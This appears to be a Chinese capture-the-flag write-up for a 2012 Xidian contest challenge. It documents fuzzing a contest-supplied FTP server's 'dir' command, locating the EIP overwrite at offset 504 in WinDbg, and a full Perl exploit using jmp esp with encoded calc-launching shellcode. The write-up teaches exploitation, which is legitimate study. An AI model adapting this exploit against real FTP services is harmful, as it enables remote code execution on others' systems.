|
2012西电网络攻防大赛 溢出第四题 调试笔记
昨天搞定第三题,今天来搞第四题,分析很简单,不过在shellcode这里卡了半天。来看第四题说明:
1、 FTPServer.exe程序是一个简易的FTP服务器;
2、 FTPServer在处理FTP服务器命令时缺少正确的缓冲区边界检查,远程攻击者可以利用这个漏洞以FTP进程权限在系统上执行任意指令;
3、 请你找出bug,并尝试exploit,以打开计算器程序为成功;
4、 需要简要文字叙述;
5、 提交格式可参考第三题给出的附件。
这次是一个ftp服务器,并没有给出具体的漏洞细节,需要自己来找bug.
先运行程序,设置一下帐号 user,ftp123 然后开启服务。windbg附加上进程。
用msf生成一个超长字符串然后登录ftp手工fuzz一下:
root@scan:~# /opt/metasploit/apps/pro/msf3/tools/pattern_create.rb 2000 > ~/Desktop/hi.txt
root@scan:~/Desktop# ftp 192.168.1.16
Connected to 192.168.1.16.
220 ��ӭ����FTP������!
Name (192.168.1.16:root): user
331 Password required for user
Password:
230 Logged on
Remote system type is UNIX.
ftp> ?
Commands may be abbreviated. Commands are:
! dir mdelete qc site
$ disconnect mdir sendport size
account exit mget put status
append form mkdir pwd struct
ascii get mls quit system
bell glob mode quote sunique
binary hash modtime recv tenex
bye help mput reget tick
case idle newer rstatus trace
cd image nmap rhelp type
cdup ipany nlist rename user
chmod ipv4 ntrans reset umask
close ipv6 open restart verbose
cr lcd prompt rmdir ?
delete ls passive runique
debug macdef proxy send
ftp> dir Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co
200 Port command successful
运气太好了吧,第一个命令就有问题。服务端windbg捕获到了异常,eip被改写成了 41387141.
溢出后,esp指向的内容我们也可以控制。
0:000> g
ModLoad: 76300000 7631d000 C:\WINDOWS\system32\IMM32.DLL
ModLoad: 62c20000 62c29000 C:\WINDOWS\system32\LPK.DLL
ModLoad: 73fa0000 7400b000 C:\WINDOWS\system32\USP10.dll
ModLoad: 61be0000 61bed000 C:\WINDOWS\system32\MFC42LOC.DLL
ModLoad: 10000000 1009f000 C:\Documents and Settings\All Users\Application Data\Tencent\TSVulFw\TSVulFW.DAT
ModLoad: 76bc0000 76bcb000 C:\WINDOWS\system32\PSAPI.DLL
ModLoad: 770f0000 7717c000 C:\WINDOWS\system32\OLEAUT32.dll
ModLoad: 74680000 746cb000 C:\WINDOWS\system32\MSCTF.dll
ModLoad: 73640000 7366e000 C:\WINDOWS\system32\msctfime.ime
ModLoad: 5adc0000 5adf7000 C:\WINDOWS\system32\UxTheme.dll
ModLoad: 719c0000 719fe000 C:\WINDOWS\System32\mswsock.dll
ModLoad: 76ef0000 76f17000 C:\WINDOWS\system32\DNSAPI.dll
ModLoad: 76f80000 76f88000 C:\WINDOWS\System32\winrnr.dll
ModLoad: 76f30000 76f5c000 C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 76f90000 76f96000 C:\WINDOWS\system32\rasadhlp.dll
ModLoad: 60fd0000 61025000 C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 71a00000 71a08000 C:\WINDOWS\System32\wshtcpip.dll
(874.11e0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00ffe214 ebx=00000000 ecx=0038d8f0 edx=ababab00 esi=00ffeaf4 edi=00ffea58
eip=41387141 esp=00ffe410 ebp=37714136 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41387141 ?? ???
0:002> d esp
00ffe410 71 39 41 72 30 41 72 31-41 72 32 41 72 33 41 72 q9Ar0Ar1Ar2Ar3Ar
00ffe420 34 41 72 35 41 72 36 41-72 37 41 72 38 41 72 39 4Ar5Ar6Ar7Ar8Ar9
00ffe430 41 73 30 41 73 31 41 73-32 41 73 33 41 73 34 41 As0As1As2As3As4A
00ffe440 73 35 41 73 36 41 73 37-41 73 38 41 73 39 41 74 s5As6As7As8As9At
00ffe450 30 41 74 31 41 74 32 41-74 33 41 74 34 41 74 35 0At1At2At3At4At5
00ffe460 41 74 36 41 74 37 41 74-38 41 74 39 41 75 30 41 At6At7At8At9Au0A
00ffe470 75 31 41 75 32 41 75 33-41 75 34 41 75 35 41 75 u1Au2Au3Au4Au5Au
00ffe480 36 41 75 37 41 75 38 41-75 39 41 76 30 41 76 31 6Au7Au8Au9Av0Av1
定位一下溢出点:
root@scan:~/Desktop# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb 41387141 Exact match at offset 504
root@scan:~/Desktop# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb q9Ar Exact match at offset 508
发现第504字符后的 4字节覆盖了返回地址,返回后面就是esp指向的内存。
这个题目似乎比第三题目还要简单,esp所指的内存区域空间足以容纳很大的shellcode.经典的jmp esp方式应该没有问题。
504垃圾数据 4 字节返回地址 shellcode长度
[nops] [jmp esp ] [shellcode]
老规矩看看其他寄存器或者栈上的变量吧
0:002> r
eax=00ffe214 ebx=00000000 ecx=0038d8f0 edx=ababab00 esi=00ffeaf4 edi=00ffea58
eip=41387141 esp=00ffe410 ebp=37714136 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41387141 ?? ???
0:002> d eax
00ffe214 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
00ffe224 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
00ffe234 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
00ffe244 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
00ffe254 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
00ffe264 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
00ffe274 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
00ffe284 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
0:002> d edx
ababab00 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab10 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab20 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab30 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab40 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab50 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab60 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab70 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:002> d esi
00ffeaf4 00 00 00 00 68 b4 38 00-00 00 00 00 cc cc cc cc ….h.8………
00ffeb04 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffeb14 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffeb24 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffeb34 cc cc cc cc cc cc cc cc-cc cc cc cc 4c eb ff 00 …………L…
00ffeb44 4c eb ff 00 d7 07 00 00-1c b9 38 00 cc cc cc cc L………8…..
00ffeb54 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffeb64 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
0:002> d edi
00ffea58 14 e4 ff 00 e0 ea ff 00-a8 dc 42 00 01 00 00 00 ……….B…..
00ffea68 ec ea ff 00 ca c9 40 00-58 fc ff 00 f4 ea ff 00 ……@.X…….
00ffea78 00 00 00 00 cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffea88 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffea98 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffeaa8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffeab8 cc cc cc cc cc ea ff 00-cc ea ff 00 d0 ea ff 00 …………….
00ffeac8 d0 ea ff 00 d4 86 e0 73-1c b9 38 00 d5 07 00 00 …….s..8…..
运气还是非常好,eax寄存器还是指向我们字符串的开头,栈中的函数参数也不用看了。可以直接利用第三题目的方法写一个比较通用的exploit了。
我们的exploit字符串就这样组织:
504 shellcode 4 字节返回地址
[nops + shellcode] [call eax ]
找一个好用的跳转地址
root@scan:~/Desktop# /opt/metasploit/app/msfpescan -j eax FTPServer.exe
[FTPServer.exe]
0x0042bcdd push eax; ret
0x0044c9ae push eax; ret
0x004513fb jmp eax
0x0045151b jmp eax
0x004515b3 jmp eax
0×00451753 call eax
0×00451883 jmp eax
0x004519b3 call eax
0x00451a9b jmp eax
0x00451b8b jmp eax
0x0045207b call eax
0x004521db call eax
0x004523a3 jmp eax
0x004524bb call eax
……
但是实际测试的时候发现有点小问题,首先shellcode的编码问题就是一个头疼的问题,0x0a,0x0d,0×20,0×23这些都可能有特殊含义。开始的字符似乎不是ascii码就不能发送过去,最后无奈的还是暂时放弃jmp eax的利用方式,还是采用了经典的 jmp esp方式利用成功的。
上Exp:
#!/usr/bin/perl
use Net::FTP;
print "2012西电网络攻防大赛 溢出第四题 jmp esp exploit\n";
print "by c4rp3nt3r@0x50sec.org\n";
my $ip = '192.168.1.16';
$ftp = Net::FTP->new($ip, Debug => 0) or die "Cannot connect to $ip: $@";
$ftp->login("user",'ftp123') or die "Cannot login ", $ftp->message;
my $junk = "A" x 504;
my $eip = pack('V',0x7ffa4512); # jmp esp
#msf payload(exec) > generate -b '\x00\xff\x23\x20\x21\x0a\x0d' -t pl
# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=CALC
my $payload =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd9\xea\xd9\x74\x24\xf4\xbb\xc1\x1f\x70\x89\x5f\x33\xc9" .
"\xb1\x32\x83\xef\xfc\x31\x5f\x13\x03\x9e\x0c\x92\x7c\xdc" .
"\xdb\xdb\x7f\x1c\x1c\xbc\xf6\xf9\x2d\xee\x6d\x8a\x1c\x3e" .
"\xe5\xde\xac\xb5\xab\xca\x27\xbb\x63\xfd\x80\x76\x52\x30" .
"\x10\xb7\x5a\x9e\xd2\xd9\x26\xdc\x06\x3a\x16\x2f\x5b\x3b" .
"\x5f\x4d\x94\x69\x08\x1a\x07\x9e\x3d\x5e\x94\x9f\x91\xd5" .
"\xa4\xe7\x94\x29\x50\x52\x96\x79\xc9\xe9\xd0\x61\x61\xb5" .
"\xc0\x90\xa6\xa5\x3d\xdb\xc3\x1e\xb5\xda\x05\x6f\x36\xed" .
"\x69\x3c\x09\xc2\x67\x3c\x4d\xe4\x97\x4b\xa5\x17\x25\x4c" .
"\x7e\x6a\xf1\xd9\x63\xcc\x72\x79\x40\xed\x57\x1c\x03\xe1" .
"\x1c\x6a\x4b\xe5\xa3\xbf\xe7\x11\x2f\x3e\x28\x90\x6b\x65" .
"\xec\xf9\x28\x04\xb5\xa7\x9f\x39\xa5\x0f\x7f\x9c\xad\xbd" .
"\x94\xa6\xef\xab\x6b\x2a\x8a\x92\x6c\x34\x95\xb4\x04\x05" .
"\x1e\x5b\x52\x9a\xf5\x18\xac\xd0\x54\x08\x25\xbd\x0c\x09" .
"\x28\x3e\xfb\x4d\x55\xbd\x0e\x2d\xa2\xdd\x7a\x28\xee\x59" .
"\x96\x40\x7f\x0c\x98\xf7\x80\x05\xdb\xb6\x32\xe5\xdc";
$ftp->dir($junk.$eip.$payload) or die "Cannot list directory ", $ftp->message;
$ftp->quit; |
|